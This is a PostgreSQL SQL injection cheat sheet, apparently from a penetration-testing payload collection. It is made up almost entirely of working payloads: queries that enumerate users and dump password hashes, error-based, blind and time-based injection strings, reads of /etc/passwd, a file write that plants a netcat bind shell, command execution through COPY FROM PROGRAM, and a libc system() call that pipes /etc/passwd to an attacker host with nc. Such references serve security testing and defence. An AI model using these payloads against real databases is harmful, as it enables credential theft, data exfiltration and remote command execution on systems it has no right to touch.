PostgreSQL injection
Summary
PostgreSQL Version
PostgreSQL Current User
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| SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
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PostgreSQL List Users
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| SELECT usename FROM pg_user
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PostgreSQL List Password Hashes
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| SELECT usename, passwd FROM pg_shadow
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PostgreSQL List Database Administrator Accounts
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| SELECT usename FROM pg_user WHERE usesuper IS TRUE
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PostgreSQL List Privileges
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| SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
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PostgreSQL Check if Current User is Superuser
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| SHOW is_superuser;
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
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PostgreSQL Database Name
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| SELECT current_database()
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PostgreSQL List Database
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| SELECT datname FROM pg_database
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PostgreSQL List Tables
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| SELECT table_name FROM information_schema.tables
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PostgreSQL List Columns
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| SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
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PostgreSQL Error Based
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| ,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
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PostgreSQL XML helpers
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| select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
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The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.
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| select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
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Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.
PostgreSQL Blind
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| ' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
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PostgreSQL Time Based
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| AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
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PostgreSQL Stacked Query
Use a semi-colon “;” to add another query
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| http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
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PostgreSQL File Read
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| select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
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NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.
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| CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
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| SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
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PostgreSQL File Write
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| CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
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Or as one line:
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| COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
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| SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
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PostgreSQL Command execution
CVE-2019–9193
Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
Using libc.so.6
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| CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
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Bypass Filter
Quotes
Using CHR
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| SELECT CHR(65)||CHR(66)||CHR(67);
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Using Dollar-signs ( >= version 8 PostgreSQL)
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| SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
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References
